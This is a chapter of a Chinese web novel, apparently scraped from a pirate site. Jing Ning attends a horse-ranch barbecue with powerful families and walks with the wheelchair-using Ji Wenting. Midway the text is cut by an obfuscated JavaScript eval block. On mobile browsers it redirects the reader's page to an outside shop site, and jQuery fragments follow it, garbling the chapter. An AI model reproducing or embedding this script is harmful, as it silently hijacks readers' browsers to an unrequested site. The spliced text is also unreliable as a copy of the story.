40.第40章
    景宁紧张的舔了舔唇,硬着头皮点了下脑袋,小声说:“好久不见,萧先生。”

    他也没想到萧垣竟丝毫不介意也不隐瞒两人认识过的事情,这反而让景宁有些心虚了。

    “垣哥和景宁认识?”纪秉臣的目光在两人间似笑非笑地流转过。

    萧垣淡淡道:“医院偶然认识的。”

    萧垣另一侧的女人温声解释:“是我妈生了病正在医院接受治疗。她在医院里认识了景宁的母亲,萧垣去看她的时候恰好碰到了景宁,就认识了。”

    纪秉臣笑道:“那还挺巧。”

    萧垣淡定的喝着手中的酒,余光见景宁还站着,抬眸对他说:“坐吧。”

    景宁见纪温庭没有注意自己才放下心坐下来。

    “你好,我叫萧澜,萧玉颜是我母亲,萧垣是我表弟。”

    女人面容清丽娟秀,清浅的笑容挂在脸上,带着温婉和安抚的意味,没有丝毫攻击性,容易让人生出信任。

    景宁微微一笑:“你好,我叫景宁,很高兴认识您。”

    “客气了。”萧澜笑起来:“我妈妈自生病住院后就一直精神郁郁,多亏有唐阿姨陪着她聊天。”

    萧澜是个很会察言观色的人。知道以景宁的身份出现在这里必定不简单,于是话题都在往别的地方引。

    她和纪秉臣以及纪秉臣那个红毛朋友都很会活络气氛,不一会儿就把因为景宁到来而略有些尴尬的氛围驱散了。

    而景宁看似默默待在角落里面喝果汁,实则不动声色的观察着今天这些能被邀请来纪家的人。

    除了一直待在烧烤架那边景宁还没能接触到的那位之外,不出意外的话坐在这里的除了他全都是四大家族的人。

    他们之间应该不仅有利益牵扯。能突破纪秉臣那疑心病的防线被邀请来到纪家马场,说明都是很好企鹅值得信任的朋友。

    纪孟两家从小交好,一起长大的情谊自是不必多说。

    至于萧垣、萧澜和纪家怎么牵扯上关系的景宁现在还弄不太懂。

    不过他猜测萧垣和纪温庭应该是朋友。两人年纪相仿,同样的成熟稳重、惜字如金,即使几人间交流不多,也足以看出交情深厚。

    “烤好了一些。”

    一直站在烧烤架前的男人终于端着一大盘的烧烤过来了。

    看到他的正脸景宁才发现男人高挺的鼻梁上还架着一副银丝眼镜,那双并不符合自身出尘气质的桃花眼被封印在眼镜片后,意外挡住了那股风流气韵,不过仍给人一中斯文败类的感觉。

    男人一将烧烤端过来,纪秉臣和旁边那红毛就和没吃过东西似的你争我抢起来,惹得孟枕星的胜负欲也上来了,不顾形象一手抢过一大串。

    三个人抢完那盘烧烤不过转瞬,其他人都没有反应过来。

    “纪秉臣。”

    纪温庭看不过去,转头想寻人,见纪秉臣那副得意洋洋的嘴脸,又哭笑不得,只沉声道:“不准抢,分给其他人。”

    纪秉臣不乐意道:“那凭什么就我一个人分!”

    孟泊秦也转头看向孟枕星,失笑道:“快,做个榜样。”

    可惜她在孟枕星面前总是拿不出兄长的威严,女孩撇过头假装没听见。

    纪温庭和孟泊秦同时揉了揉眉心。

    没人管的红毛见此情景有些尴尬,客气道:“要不……我分点?”

    很快,手里抢了大把串的红猫手上就所剩无几了,欲哭无泪有去抢纪秉臣的。两个明明成年了的人,在马场上你追我抢,像成精的野猴子。

    纪温庭揉了揉眉心。

    景宁也分到了串,但他现在并不太敢吃东西。杯子里的果汁被他小口小口抿着,现在都还剩下一个底。

    他有些后悔答应孟枕星了,这里明显就不是他应该待的地方。

    几个人要是围在一起说点不得了的什么八卦或者商业机密,景宁都怕自己的脑袋会掉。

    “温庭,这位就是你说的那个小朋友?”

    从烧烤架前回来的男人在纪温庭身旁坐了下来,视线也落在了景宁身上。

    纪温庭也向景宁看去:“是。”

    景宁被看得有些发麻,又一次自我介绍:“您好,我叫景宁。”

    男人颔首微笑:“你好,顾邑。”

    这个姓氏一出来景宁就知道自己没有猜错。

    四大家族之一——顾家。而面前这位想必就是现在的顾氏集团领导人顾老家主的儿子顾邑。

    果然一个阶层的人和一个阶层的人在一起玩。四大家族外的人为了挤进他们的圈子争得头破血流,然而这些年以来他们还是巍然不倒。

    这就充分证明,不是这个圈子,挤破头也挤不进去。岁月沉淀而成的世家大族是利益共同体,内部团结不用说。

    “怎么不吃?”

    萧垣大概发现了景宁有些坐立不安,凑过来问。

    他的音量不小,一下勾得纪温庭和纪秉臣也看了过来。

    景宁忙压低声音:“我没什么胃口萧先生。”

    萧垣没再说什么。

    “可能冷了,再去烤一点。”

    纪温庭说着,正要使唤纪秉臣,没想到景宁刷的站了起来,和小学生似的举起手自告奋勇:“我去吧纪先生。”

    萧垣也站起来,淡淡说:“我和他一起。”

    纪温庭皱了皱眉,但还是颔首同意了。

    景宁如释重负,立马大步走向烧烤架。

    萧垣跟上了上来,站在食材面前问景宁:“想吃点什么?”

    景宁说:“都可以。”

    萧垣又不说话了,随便拿了几串递给他。

    景宁其实不太会烤肉,但看多了也就会了,再加上萧垣在旁边指导,两个人配合默契,很快烤好一大盘。

    这会儿夕阳正好,漫天的红霞,能从那略有些压抑的氛围中脱离出来,景宁心情也放松了一些。

    “萧先生,能麻烦您帮我把这些先端过去吗?”景宁手上还烤着东西,怕已经烤好的冷了不好吃了。

    萧垣:“这些已经够了,他们吃不了很多。”

    景宁“哦”了一声,小声说:“那萧先生先去吃饭吧,这里交给我。”

    他还以为萧垣不愿意帮他。

    景宁想想或许是他有些得意忘形了,居然敢使唤萧垣。

    萧垣看出来他误会了自己的意思,看了他几秒终是什么也没说,端着东西往棚下走了。

    萧垣一走,景宁更自在,怕他们喊自己回去,就假装手笨烤的很慢,赖在烧烤架前不走。

    日暮西沉时,他的手臂突然被什么狠狠蹭了一下。

    景宁一时没想到是什么东西,吓了一跳,人也往旁边躲去。结果腿边又不知绊到了什么,景宁脚下不察,人也跟着控制不住的往后倒。

    幸好是草地不至于摔的太疼。

    这是他在摔下去最后的想法。

    等等,为什么草地是热的?

    景宁僵硬的侧过头,对上了纪温庭复杂的目光。

    而他,居然,坐在,纪温庭的………腿上!

    “……”

    这比刚才被不明生物蹭手臂还要令人惊悚!

    景

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655874|135813||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    宁猛地站了起来,一张脸比今天的夕阳还要红,浑身如同被泼了开水,浇得滚烫。

    “对、对不起,纪先生!”景宁觉得自己说话的声音都在颤抖。

    纪温庭还算冷静,只是把膝盖上被他坐乱的毯子往上扯了扯,淡淡说:“没关系,是asta吓到你了。”

    景宁愣了下,侧过身才发现asta被放出来撒野了,刚才不知道怎么跑到了自己的身边来,这会儿正带着满月围着他和纪温庭转圈。

    “……”

    景宁很不想怪他,毕竟他可是救过自己一命,是一匹聪明的好马。

    “纪先生,您……没事吧。”景宁内心不安。

    纪温庭摇了摇头。

    “不用这样担心。”

    他看着景宁,眼里有笑意:“你很轻。”

    景宁觉得自己的脸红得更厉害了。

    景宁心率不稳,悄悄往其他人那边看去,发现他们并没有往这边看才松了口气。

    没被看到就好,要是被孟枕星看到,他就跳进黄河也洗不清了。

    毕竟他们大人物打架,受伤的都是他这种小人物。所以这些天他始终保持着和纪温庭之间的距离。

    “景宁。”

    纪温庭的声音将他的思绪拉了回来:“带我走走吧。”

    景宁迷茫地眨了眨眼,手忙脚乱道:“好的。”

    他将地上刚才被他的动作弄脏的烧烤扔到垃圾袋里,又拿湿纸巾擦了擦手才绕到纪温庭身后推着他往前走。

    “纪先生想去哪里?”

    景宁心里有些没底,不知道纪温庭是什么用意。

    他看不到纪温庭的表情,只听到他说:“随便走走。”

    “好的。”

    纪家开创的这片草场辽阔,景宁就随意推着纪温庭走了走。asta和满月在他们前面漫步,asta还时不时的过来轻轻蹭他和纪温庭。

    纪温庭笑说:“asta很喜欢你。”

    景宁摸了摸鼻子,不好意思道:“我确实很讨小动物喜欢,以前路边的流浪猫也很喜欢挨着我走。”

    他这样说着,眼眸中又流露出一丝叫人不易察觉的悲伤。

    “后来呢?”

    景宁疑惑道:“什么后来?”

    纪温庭侧头看向他,追寻后续:“那只流浪猫。”

    景宁垂下了眼,很小声的说:“ 有一天我去看它,发现它被虐待致死,尸体就丢在我为它准备的小窝里。”

    纪温庭愣了一下,嗓音低了一些:“这不是你的错。”

    “我知道。”

    景宁深呼出口气,看着天边的血色,讷讷道:“我只是想,如果那天我没有遇见过它,它会不会对人类心生警惕,或许也就不会得到这样的结局。”

    纪温庭没有再说话,垂着眼不知道在想什么。

    两人围着草场就这样慢慢走着,直到夜幕降临,天色渐晚。

    景宁是个无聊的人,怕纪温庭也觉得无趣,准备推着纪温庭往回走,在回程的路上,轮椅却不知道为什么推不动了。

    景宁使了使劲也没有推动,蹲下身也没看到轮椅陷进泥地里或者被什么异物卡住。

    在他疑惑时,纪温庭突然没头没尾的问他:“景宁,你有时候会把我当成你失去过的那只猫吗?”

    “什么?”

    景宁内心震颤,惊恐的不知道该说什么表达自己的心情了。

    即使坐在轮椅上也不失威严和儒雅的纪温庭,居然把自己比作一只弱小无助的猫。

    “你偶尔对我怜悯,又突然避之不及。”